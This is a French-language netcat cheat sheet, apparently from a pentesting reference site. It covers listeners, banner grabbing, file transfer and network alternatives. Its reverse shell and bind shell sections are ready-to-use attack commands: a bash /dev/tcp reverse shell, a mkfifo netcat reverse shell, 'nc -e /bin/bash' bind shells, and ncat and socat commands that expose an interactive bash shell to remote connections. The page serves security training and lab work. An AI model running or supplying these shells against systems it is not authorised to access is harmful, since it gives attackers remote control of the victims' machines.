NET Outil · Réseau

Netcat

Le couteau suisse TCP/UDP : listeners, transferts de fichiers, bind et reverse shells.

Débutant / 1 min de lecture / maj 06 nov 2026 / 4 tags
raw domaine signaler
Index des sheets

#Listener et connexion

bash
# Écouter sur toutes les interfaces
nc -lvnp 4444

# Se connecter à un service
nc -nv 10.10.10.10 80

# UDP
nc -luvnp 5353
Option Effet
-l Mode écoute
-v Verbeux
-n Pas de résolution DNS
-p Port local
-u UDP
-k Garde le listener ouvert après déconnexion
-w 3 Timeout de connexion
bash
# HTTP manuel
printf 'HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n' | nc -nv 10.10.10.10 80

# SMTP / FTP / SSH
nc -nv 10.10.10.10 25
nc -nv 10.10.10.10 21
nc -nv 10.10.10.10 22

#Transfert de fichiers

bash
# Receveur
nc -lvnp 9001 > received.tar.gz

# Expéditeur
nc -nv 10.10.10.20 9001 < archive.tar.gz

# Avec progression et intégrité
tar czf - dossier/ | pv | nc -nv 10.10.10.20 9001
sha256sum archive.tar.gz

#Reverse shell

bash
# Côté attaquant
nc -lvnp 4444

# Côté cible (exemple bash)
bash -i >& /dev/tcp/10.10.10.20/4444 0>&1

# Variante sans /dev/tcp
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.20 4444 > /tmp/f

#Bind shell

bash
# Sur la cible
nc -lvnp 4444 -e /bin/bash

# Depuis l'attaquant
nc -nv 10.10.10.10 4444

#Alternatives modernes

bash
# ncat avec TLS et exécution
ncat --ssl -l 4444 --sh-exec /bin/bash --keep-open

# socat : relais TCP et PTY complet
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Tester un port rapidement
nc -zvw2 10.10.10.10 22 80 443
INDEX // 42 FICHES // 12 DOMAINES LOCAL SEARCH
↑↓ naviguer ↵ ouvrir esc fermer sheet.sec / find
Raccourcis clavier
Recherche globale /ou⌘K
Naviguer dans les résultats ↑↓
Ouvrir le résultat actif ↵
Fermer une fenêtre esc
Accueil gh
Tous les sheets gs
Fiche aléatoire gr
Cette fenêtre ?